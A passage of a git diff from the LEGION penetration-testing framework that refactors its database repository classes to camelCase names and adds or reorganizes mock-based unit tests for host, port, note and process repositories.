self.dbAdapter.metadata.bind.execute(query, str(process_id)).fetchall() return p[0][0] if p else -1 + + def getHostsByToolName(self, toolName: str, closed: str = "False"): + if closed == 'FetchAll': + query = ('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", ' + 'process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + else: + query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, ' + 'process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process ' + 'WHERE process.name=? and process.closed="False"') + + return self.dbAdapter.metadata.bind.execute(query, str(toolName)).fetchall() + + def storeProcessCrashStatus(self, processId: str): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc and not proc.status == 'Killed' and not proc.status == 'Cancelled': + proc.status = 'Crashed' + proc.endTime = getTimestamp(True) + session.add(proc) + self.dbAdapter.commit() + + def storeProcessCancelStatus(self, processId: str): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc: + proc.status = 'Cancelled' + proc.endTime = getTimestamp(True) + session.add(proc) + self.dbAdapter.commit() + + def storeProcessKillStatus(self, processId: str): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc and not proc.status == 'Finished': + proc.status = 'Killed' + proc.endTime = getTimestamp(True) + session.add(proc) + self.dbAdapter.commit() + + def storeProcessRunningStatus(self, processId: str, pid): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc: + proc.status = 'Running' + proc.pid = str(pid) + session.add(proc) + self.dbAdapter.commit() + + def storeProcessRunningElapsedTime(self, processId: str, elapsed): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc: + proc.elapsed = elapsed + session.add(proc) + self.dbAdapter.commit() + + def storeCloseStatus(self, processId): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(id=processId).first() + if proc: + proc.closed = 'True' + session.add(proc) + self.dbAdapter.commit() + + def storeScreenshot(self, ip: str, port: str, filename: str): + p = process(0, "screenshooter", "screenshot (" + str(port) + "/tcp)", str(ip), str(port), "tcp", "", + getTimestamp(True), getTimestamp(True), str(filename), "Finished", [process_output()], 2, 0) + session = self.dbAdapter.session() + session.add(p) + session.commit() + return p.id + + def toggleProcessDisplayStatus(self, resetAll=False): + session = self.dbAdapter.session() + proc = session.query(process).filter_by(display='True').all() + for p in proc: + session.add(self.toggleProcessStatusField(p, resetAll)) + self.dbAdapter.commit() + + @staticmethod + def toggleProcessStatusField(p, reset_all): + not_running = p.status != 'Running' + not_waiting = p.status != 'Waiting' + + if (reset_all and not_running) or (not_running and not_waiting): + p.display = 'False' + + return p diff --git a/db/repositories/ScriptRepository.py b/db/repositories/ScriptRepository.py new file mode 100644 index 00000000..ad766508 --- /dev/null +++ b/db/repositories/ScriptRepository.py @@ -0,0 +1,34 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +from db.database import Database + + +class ScriptRepository: + def __init__(self, dbAdapter: Database): + self.dbAdapter = dbAdapter + + def getScriptsByHostIP(self, hostIP): + query = ("SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host " + "INNER JOIN hostObj AS hosts ON hosts.id = host.hostId " + "LEFT OUTER JOIN portObj AS port ON port.id = host.portId WHERE hosts.ip=?") + + return self.dbAdapter.metadata.bind.execute(query, str(hostIP)).fetchall() + + def getScriptOutputById(self, scriptDBId): + query = "SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?" + return self.dbAdapter.metadata.bind.execute(query, str(scriptDBId)).fetchall() \ No newline at end of file diff --git a/db/repositories/ServiceRepository.py b/db/repositories/ServiceRepository.py index b2a164ae..c67c1f5c 100644 --- a/db/repositories/ServiceRepository.py +++ b/db/repositories/ServiceRepository.py @@ -17,25 +17,25 @@ """ from app.auxiliary import sanitise, Filters from db.database import hostObj -from db.filters import apply_filters +from db.filters import applyFilters class ServiceRepository: def __init__(self, db_adapter): self.db_adapter = db_adapter - def get_service_names(self, filters: Filters): + def getServiceNames(self, filters: Filters): query = ("SELECT DISTINCT service.name FROM serviceObj as service " "INNER JOIN portObj as ports " "INNER JOIN hostObj AS hosts " "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1") - query += apply_filters(filters) + query += applyFilters(filters) query += ' ORDER BY service.name ASC' return self.db_adapter.metadata.bind.execute(query).fetchall() - def get_service_names_by_host_ip_and_port(self, host_ip, port): + def getServiceNamesByHostIPAndPort(self, host_ip, port): query = ("SELECT services.name FROM serviceObj AS services " "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "INNER JOIN portObj AS ports ON services.id=ports.serviceId " "WHERE hosts.ip=? and ports.portId = ?") - return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(port)).first() \ No newline at end of file + return self.db_adapter.metadata.bind.execute(query, str(host_ip), str(port)).first() diff --git a/log/legion-db.log b/log/legion-db.log deleted file mode 100644 index 8b137891..00000000 --- a/log/legion-db.log +++ /dev/null @@ -1 +0,0 @@ - diff --git a/log/legion-startup.log b/log/legion-startup.log deleted file mode 100644 index 8b137891..00000000 --- a/log/legion-startup.log +++ /dev/null @@ -1 +0,0 @@ - diff --git a/log/legion.log b/log/legion.log deleted file mode 100644 index 8b137891..00000000 --- a/log/legion.log +++ /dev/null @@ -1 +0,0 @@ - diff --git a/tests/app/test_logic.py b/tests/app/test_logic.py index 440720dc..9c7df959 100644 --- a/tests/app/test_logic.py +++ b/tests/app/test_logic.py @@ -20,13 +20,6 @@ from unittest.mock import MagicMock, patch -def build_mock_process(status: str, display: str) -> MagicMock: - process = MagicMock() - process.status = status - process.display = display - return process - - class LogicTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: @@ -77,53 +70,3 @@ def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutpu self.shell.remove_file.assert_called_once_with("project-name") self.shell.remove_directory.assert_has_calls([mock.call("./output/folder"), mock.call("./running/folder")]) - - def test_toggleProcessDisplayStatus_whenResetAllIsTrue_setDisplayToFalseForAllProcessesThatAreNotRunning( - self): - from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell) - - process1 = build_mock_process(status="Waiting", display="True") - process2 = build_mock_process(status="Waiting", display="True") - logic.db = MagicMock() - logic.db.session.return_value = self.mock_db_session - mock_query_response = MagicMock() - mock_filtered_response = MagicMock() - mock_filtered_response.all.return_value = [process1, process2] - mock_query_response.filter_by.return_value = mock_filtered_response - self.mock_db_session.query.return_value = mock_query_response - logic.toggleProcessDisplayStatus(resetAll=True) - - self.assertEqual("False", process1.display) - self.assertEqual("False", process2.display) - self.mock_db_session.add.assert_has_calls([ - mock.call(process1), - mock.call(process2), - ]) - logic.db.commit.assert_called_once() - - def test_toggleProcessDisplayStatus_whenResetAllIFalse_setDisplayToFalseForAllProcessesThatAreNotRunningOrWaiting( - self): - from app.logic import Logic - logic = Logic("test-session", self.mock_db_session, self.shell) - - process1 = build_mock_process(status="Random Status", display="True") - process2 = build_mock_process(status="Another Random Status", display="True") - process3 = build_mock_process(status="Running", display="True") - logic.db = MagicMock() - logic.db.session.return_value = self.mock_db_session - mock_query_response = MagicMock() - mock_filtered_response = MagicMock() - mock_filtered_response.all.return_value = [process1, process2] - mock_query_response.filter_by.return_value = mock_filtered_response - self.mock_db_session.query.return_value = mock_query_response - logic.toggleProcessDisplayStatus() - - self.assertEqual("False", process1.display) - self.assertEqual("False", process2.display) - self.assertEqual("True", process3.display) - self.mock_db_session.add.assert_has_calls([ - mock.call(process1), - mock.call(process2), - ]) - logic.db.commit.assert_called_once() diff --git a/tests/db/helpers/db_helpers.py b/tests/db/helpers/db_helpers.py index c54a0640..66f93be3 100644 --- a/tests/db/helpers/db_helpers.py +++ b/tests/db/helpers/db_helpers.py @@ -1,25 +1,31 @@ from unittest.mock import MagicMock -def mock_execute_fetchall(return_value): +def mockExecuteFetchAll(return_value): mock_db_execute = MagicMock() mock_db_execute.fetchall.return_value = return_value return mock_db_execute -def mock_first_by_side_effect(return_value): +def mockExecuteAll(return_value): + mock_db_execute = MagicMock() + mock_db_execute.all.return_value = return_value + return mock_db_execute + + +def mockFirstBySideEffect(return_value): mock_filter_by = MagicMock() mock_filter_by.first.side_effect = return_value return mock_filter_by -def mock_first_by_return_value(return_value): +def mockFirstByReturnValue(return_value): mock_filter_by = MagicMock() mock_filter_by.first.return_value = return_value return mock_filter_by -def mock_query_with_filter_by(return_value): +def mockQueryWithFilterBy(return_value): mock_query = MagicMock() mock_query.filter_by.return_value = return_value return mock_query diff --git a/tests/db/repositories/test_CVERepository.py b/tests/db/repositories/test_CVERepository.py index 5b3fba3c..2a96cc89 100644 --- a/tests/db/repositories/test_CVERepository.py +++ b/tests/db/repositories/test_CVERepository.py @@ -18,7 +18,7 @@ import unittest from unittest.mock import patch, MagicMock -from tests.db.helpers.db_helpers import mock_execute_fetchall +from tests.db.helpers.db_helpers import mockExecuteFetchAll class CVERepositoryTest(unittest.TestCase): @@ -26,16 +26,14 @@ class CVERepositoryTest(unittest.TestCase): def setUp(self, get_logger) -> None: self.mock_db_adapter = MagicMock() - def test_get_cves_by_host_ip_WhenProvidedAHostIp_ReturnsCVEs(self): + def test_getCVEsByHostIP_WhenProvidedAHostIp_ReturnsCVEs(self): from db.repositories.CVERepository import CVERepository - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['cve1'], ['cve2']]) - expected_query = ( - 'SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, ' - 'cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves ' - 'INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId ' - 'WHERE hosts.ip = ?' - ) - cve_repository = CVERepository(self.mock_db_adapter) - result = cve_repository.get_cves_by_host_ip("some_host") + self.mock_db_adapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['cve1'], ['cve2']]) + expected_query = ("SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source, " + "cves.exploitId, cves.exploit, cves.exploitUrl FROM cve AS cves " + "INNER JOIN hostObj AS hosts ON hosts.id = cves.hostId " + "WHERE hosts.ip = ?") + cveRepository = CVERepository(self.mock_db_adapter) + result = cveRepository.getCVEsByHostIP("some_host") self.assertEqual([['cve1'], ['cve2']], result) self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host") diff --git a/tests/db/repositories/test_HostRepository.py b/tests/db/repositories/test_HostRepository.py index 87bc25bf..b605b31d 100644 --- a/tests/db/repositories/test_HostRepository.py +++ b/tests/db/repositories/test_HostRepository.py @@ -18,12 +18,12 @@ import unittest from unittest.mock import MagicMock, patch -from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_query_with_filter_by, mock_first_by_return_value +from tests.db.helpers.db_helpers import mockExecuteFetchAll, mockQueryWithFilterBy, mockFirstByReturnValue -exists_query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' +existsQuery = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' -def expected_get_hosts_and_ports_query(with_filter: str = "") -> str: +def expectedGetHostsAndPortsQuery(with_filter: str = "") -> str: query = ( "SELECT hosts.ip,ports.portId,ports.protocol,ports.state,ports.hostId,ports.serviceId,services.name," "services.product,services.version,services.extrainfo,services.fingerprint FROM portObj AS ports " @@ -37,92 +37,104 @@ def expected_get_hosts_and_ports_query(with_filter: str = "") -> str: class HostRepositoryTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: - self.mock_db_adapter = MagicMock() - - def get_hosts_and_ports_test_case(self, filters, service_name, expected_query): from db.repositories.HostRepository import HostRepository - - repository = HostRepository(self.mock_db_adapter) - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + self.mockDbAdapter = MagicMock() + self.mockDbSession = MagicMock() + self.mockProcess = MagicMock() + self.mockDbAdapter.session.return_value = self.mockDbSession + self.hostRepository = HostRepository(self.mockDbAdapter) + + def getHostsAndPortsTestCase(self, filters, service_name, expectedQuery): + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( [{'name': 'service_name1'}, {'name': 'service_name2'}]) - service_names = repository.get_hosts_and_ports_by_service_name(service_name, filters) + service_names = self.hostRepository.getHostsAndPortsByServiceName(service_name, filters) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, service_name) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, service_name) self.assertEqual([{'name': 'service_name1'}, {'name': 'service_name2'}], service_names) def test_exists_WhenProvidedAExistingHosts_ReturnsTrue(self): - from db.repositories.HostRepository import HostRepository - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['some-ip']]) - - host_repository = HostRepository(self.mock_db_adapter) - self.assertTrue(host_repository.exists("some_host")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(exists_query, "some_host", "some_host") + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['some-ip']]) + self.assertTrue(self.hostRepository.exists("some_host")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(existsQuery, "some_host", "some_host") def test_exists_WhenProvidedANonExistingHosts_ReturnsFalse(self): - from db.repositories.HostRepository import HostRepository - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([]) + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([]) - host_repository = HostRepository(self.mock_db_adapter) - self.assertFalse(host_repository.exists("some_host")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(exists_query, "some_host", "some_host") + self.assertFalse(self.hostRepository.exists("some_host")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(existsQuery, "some_host", "some_host") - def test_get_hosts_InvokedWithNoFilters_ReturnsHosts(self): - from db.repositories.HostRepository import HostRepository + def test_getHosts_InvokedWithNoFilters_ReturnsHosts(self): from app.auxiliary import Filters - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['host1'], ['host2']]) - expected_query = "SELECT * FROM hostObj AS hosts WHERE 1=1" - host_repository = HostRepository(self.mock_db_adapter) + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['host1'], ['host2']]) + expectedQuery = "SELECT * FROM hostObj AS hosts WHERE 1=1" filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = host_repository.get_hosts(filters) + result = self.hostRepository.getHosts(filters) self.assertEqual([['host1'], ['host2']], result) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery) - def test_get_hosts_InvokedWithAFewFilters_ReturnsFilteredHosts(self): - from db.repositories.HostRepository import HostRepository + def test_getHosts_InvokedWithAFewFilters_ReturnsFilteredHosts(self): from app.auxiliary import Filters - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['host1'], ['host2']]) - expected_query = ("SELECT * FROM hostObj AS hosts WHERE 1=1" - " AND hosts.status != 'down' AND hosts.checked != 'True'") - host_repository = HostRepository(self.mock_db_adapter) + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['host1'], ['host2']]) + expectedQuery = ("SELECT * FROM hostObj AS hosts WHERE 1=1" + " AND hosts.status != 'down' AND hosts.checked != 'True'") filters: Filters = Filters() filters.apply(up=True, down=False, checked=False, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = host_repository.get_hosts(filters) + result = self.hostRepository.getHosts(filters) self.assertEqual([['host1'], ['host2']], result) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery) - def test_get_host_info_WhenProvidedHostIpAddress_FetchesHostInformation(self): + def test_getHostInfo_WhenProvidedHostIpAddress_FetchesHostInformation(self): from db.database import hostObj - from db.repositories.HostRepository import HostRepository - mock_db_session = MagicMock() expected_host_info: hostObj = MagicMock() - self.mock_db_adapter.session.return_value = mock_db_session - mock_db_session.query.return_value = mock_query_with_filter_by(mock_first_by_return_value(expected_host_info)) + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(expected_host_info)) - repository = HostRepository(self.mock_db_adapter) - actual_host_info = repository.get_host_information("127.0.0.1") + actual_host_info = self.hostRepository.getHostInformation("127.0.0.1") self.assertEqual(actual_host_info, expected_host_info) - def test_get_hosts_and_ports_InvokedWithNoFilters_FetchesHostsAndPortsMatchingKeywords(self): + def test_getHostsAndPorts_InvokedWithNoFilters_FetchesHostsAndPortsMatchingKeywords(self): from app.auxiliary import Filters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - expected_query = expected_get_hosts_and_ports_query() - self.get_hosts_and_ports_test_case(filters=filters, - service_name="some_service_name", expected_query=expected_query) + expectedQuery = expectedGetHostsAndPortsQuery() + self.getHostsAndPortsTestCase(filters=filters, + service_name="some_service_name", expectedQuery=expectedQuery) - def test_get_hosts_and_ports_InvokedWithFewFilters_FetchesHostsAndPortsWithFiltersApplied(self): + def test_getHostsAndPorts_InvokedWithFewFilters_FetchesHostsAndPortsWithFiltersApplied(self): from app.auxiliary import Filters filters: Filters = Filters() filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=False) - expected_query = expected_get_hosts_and_ports_query( + expectedQuery = expectedGetHostsAndPortsQuery( with_filter=" AND hosts.status != 'down' AND ports.protocol != 'udp'") - self.get_hosts_and_ports_test_case(filters=filters, - service_name="some_service_name", expected_query=expected_query) + self.getHostsAndPortsTestCase(filters=filters, + service_name="some_service_name", expectedQuery=expectedQuery) + + def test_deleteHost_InvokedWithAHostId_DeletesProcess(self): + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) + + self.hostRepository.deleteHost("some-host-id") + self.mockDbSession.delete.assert_called_once_with(self.mockProcess) + self.mockDbSession.commit.assert_called_once() + + def test_toggleHostCheckStatus_WhenHostIsSetToTrue_TogglesToFalse(self): + self.mockProcess.checked = 'True' + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) + self.hostRepository.toggleHostCheckStatus("some-ip-address") + self.assertEqual('False', self.mockProcess.checked) + self.mockDbSession.add.assert_called_once_with(self.mockProcess) + self.mockDbAdapter.commit.assert_called_once() + + def test_toggleHostCheckStatus_WhenHostIsSetToFalse_TogglesToTrue(self): + self.mockProcess.checked = 'False' + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) + self.hostRepository.toggleHostCheckStatus("some-ip-address") + self.assertEqual('True', self.mockProcess.checked) + self.mockDbSession.add.assert_called_once_with(self.mockProcess) + self.mockDbAdapter.commit.assert_called_once() diff --git a/tests/db/repositories/test_NoteRepository.py b/tests/db/repositories/test_NoteRepository.py new file mode 100644 index 00000000..c34b93bd --- /dev/null +++ b/tests/db/repositories/test_NoteRepository.py @@ -0,0 +1,54 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest.mock import MagicMock, patch + +from db.repositories.NoteRepository import NoteRepository +from tests.db.helpers.db_helpers import mockQueryWithFilterBy, mockFirstByReturnValue + + +class NoteRepositoryTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def setUp(self, get_logger) -> None: + from db.database import note + self.mockDbAdapter = MagicMock() + self.mockDbSession = MagicMock() + self.someNote: note = MagicMock() + self.mockLog = MagicMock() + self.noteRepository: NoteRepository = NoteRepository(self.mockDbAdapter, self.mockLog) + + def test_getNoteByHostId_WhenProvidedHostId_ReturnsNote(self): + self.mockDbAdapter.session.return_value = self.mockDbSession + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue("some-note")) + + note = self.noteRepository.getNoteByHostId("some-host-id") + self.assertEqual("some-note", note) + + def test_storeNotes_WhenProvidedHostIdAndNoteAndNoteAlreadyExists_UpdatesNote(self): + self.mockDbAdapter.session.return_value = self.mockDbSession + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.someNote)) + self.noteRepository.storeNotes("some-host-id", "some-note") + self.mockDbSession.add.assert_called_once_with(self.someNote) + self.mockDbAdapter.commit.assert_called_once() + + def test_storeNotes_WhenProvidedHostIdAndNoteAndNoteDoesNotExist_SavesNewNote(self): + self.mockDbAdapter.session.return_value = self.mockDbSession + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(None)) + self.noteRepository.storeNotes("some-host-id", "some-note") + self.mockDbSession.add.assert_called_once() + self.mockDbAdapter.commit.assert_called_once() diff --git a/tests/db/repositories/test_PortRepository.py b/tests/db/repositories/test_PortRepository.py index 13051187..6bccc0ea 100644 --- a/tests/db/repositories/test_PortRepository.py +++ b/tests/db/repositories/test_PortRepository.py @@ -16,44 +16,43 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ import unittest +from unittest import mock from unittest.mock import patch, MagicMock -from tests.db.helpers.db_helpers import mock_first_by_return_value, mock_execute_fetchall +from tests.db.helpers.db_helpers import mockFirstByReturnValue, mockExecuteFetchAll, mockExecuteAll, \ + mockQueryWithFilterBy class PortRepositoryTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: - self.mock_db_adapter = MagicMock() - - def test_get_ports_by_ip_and_protocol_ReturnsPorts(self): from db.repositories.PortRepository import PortRepository + self.mockDbAdapter = MagicMock() + self.mockDbSession = MagicMock() + self.mockDbAdapter.session.return_value = self.mockDbSession + self.repository = PortRepository(self.mockDbAdapter) + def test_getPortsByIPAndProtocol_ReturnsPorts(self): expected_query = ("SELECT ports.portId FROM portObj AS ports " "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "WHERE hosts.ip = ? and ports.protocol = ?") - repository = PortRepository(self.mock_db_adapter) - self.mock_db_adapter.metadata.bind.execute.return_value = mock_first_by_return_value( + self.mockDbAdapter.metadata.bind.execute.return_value = mockFirstByReturnValue( [['port-id1'], ['port-id2']]) - ports = repository.get_ports_by_ip_and_protocol("some_host_ip", "tcp") + ports = self.repository.getPortsByIPAndProtocol("some_host_ip", "tcp") - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip", "tcp") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip", "tcp") self.assertEqual([['port-id1'], ['port-id2']], ports) - def test_get_port_states_by_host_id_ReturnsPortsStates(self): - from db.repositories.PortRepository import PortRepository - + def test_getPortStatesByHostId_ReturnsPortsStates(self): expected_query = 'SELECT port.state FROM portObj as port WHERE port.hostId = ?' - repository = PortRepository(self.mock_db_adapter) - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( [['port-state1'], ['port-state2']]) - port_states = repository.get_port_states_by_host_id("some_host_id") + port_states = self.repository.getPortStatesByHostId("some_host_id") - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_id") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_id") self.assertEqual([['port-state1'], ['port-state2']], port_states) - def test_get_ports_and_services_by_host_ip_InvokedWithNoFilters_ReturnsPortsAndServices(self): - from db.repositories.PortRepository import PortRepository + def test_getPortsAndServicesByHostIP_InvokedWithNoFilters_ReturnsPortsAndServices(self): from app.auxiliary import Filters expected_query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " @@ -61,19 +60,17 @@ def test_get_ports_and_services_by_host_ip_InvokedWithNoFilters_ReturnsPortsAndS "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId " "WHERE hosts.ip = ?") - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['ip1'], ['ip2']]) - repository = PortRepository(self.mock_db_adapter) + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['ip1'], ['ip2']]) filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - results = repository.get_ports_and_services_by_host_ip("some_host_ip", filters) + results = self.repository.getPortsAndServicesByHostIP("some_host_ip", filters) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") self.assertEqual([['ip1'], ['ip2']], results) - def test_get_ports_and_services_by_host_ip_InvokedWithFewFilters_ReturnsPortsAndServices(self): - from db.repositories.PortRepository import PortRepository + def test_getPortsAndServicesByHostIP_InvokedWithFewFilters_ReturnsPortsAndServices(self): from app.auxiliary import Filters expected_query = ("SELECT hosts.ip, ports.portId, ports.protocol, ports.state, ports.hostId, ports.serviceId, " @@ -81,13 +78,33 @@ def test_get_ports_and_services_by_host_ip_InvokedWithFewFilters_ReturnsPortsAnd "FROM portObj AS ports INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " "LEFT OUTER JOIN serviceObj AS services ON services.id = ports.serviceId " "WHERE hosts.ip = ? AND ports.protocol != 'tcp' AND ports.protocol != 'udp'") - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['ip1'], ['ip2']]) - repository = PortRepository(self.mock_db_adapter) + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['ip1'], ['ip2']]) filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=False, udp=False) - results = repository.get_ports_and_services_by_host_ip("some_host_ip", filters) + results = self.repository.getPortsAndServicesByHostIP("some_host_ip", filters) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host_ip") self.assertEqual([['ip1'], ['ip2']], results) + + def test_deleteAllPortsAndScriptsByHostId_WhenProvidedByHostIDAndProtocol_DeletesAllPortsAndScripts(self): + mockFilterHost = mockProtocolFilter = mockReturnAll = MagicMock() + mockPort1 = mockPort2 = MagicMock() + mockReturnAll.all.return_value = [mockPort1, mockPort2] + mockProtocolFilter.filter.return_value = mockReturnAll + mockFilterHost.filter.return_value = mockProtocolFilter + + mockFilterScript = mockReturnAllScripts = MagicMock() + mockReturnAllScripts.all.return_value = ['some-script1', 'some-script2'] + mockFilterScript.filter.return_value = mockReturnAllScripts + + self.mockDbSession.query.side_effect = [mockFilterHost, mockFilterScript, mockFilterScript] + + self.repository.deleteAllPortsAndScriptsByHostId("some-host-id", "some-protocol") + self.mockDbSession.delete.assert_has_calls([ + mock.call('some-script1'), mock.call('some-script2'), + mock.call('some-script1'), mock.call('some-script2'), + mock.call(mockPort1), mock.call(mockPort2) + ]) + self.mockDbSession.commit.assert_called_once() diff --git a/tests/db/repositories/test_ProcessRepository.py b/tests/db/repositories/test_ProcessRepository.py index 3b6b9928..b1671a74 100644 --- a/tests/db/repositories/test_ProcessRepository.py +++ b/tests/db/repositories/test_ProcessRepository.py @@ -19,169 +19,288 @@ from unittest import mock from unittest.mock import MagicMock, patch -from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_first_by_side_effect, mock_first_by_return_value, \ - mock_query_with_filter_by +from tests.db.helpers.db_helpers import mockExecuteFetchAll, mockFirstBySideEffect, mockFirstByReturnValue, \ + mockQueryWithFilterBy + + +def build_mock_process(status: str, display: str) -> MagicMock: + process = MagicMock() + process.status = status + process.display = display + return process class ProcessRepositoryTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: - self.mock_db_adapter = MagicMock() - self.mock_logger = MagicMock() - - def test_store_process_output_WhenProvidedExistingProcessIdAndOutput_StoresProcessOutput(self): from db.repositories.ProcessRepository import ProcessRepository + self.mockProcess = MagicMock() + self.mockDbSession = MagicMock() + self.mockDbAdapter = MagicMock() + self.mockLogger = MagicMock() + self.mockFilters = MagicMock() + self.mockDbAdapter.session.return_value = self.mockDbSession + self.processRepository = ProcessRepository(self.mockDbAdapter, self.mockLogger) + + def test_getProcesses_WhenProvidedShowProcessesWithNoNmapFlag_ReturnsProcesses(self): + expectedQuery = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ' + 'FROM process AS process WHERE process.closed = "False" AND process.name != "nmap" ' + 'GROUP BY process.name') + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( + [['some-process'], 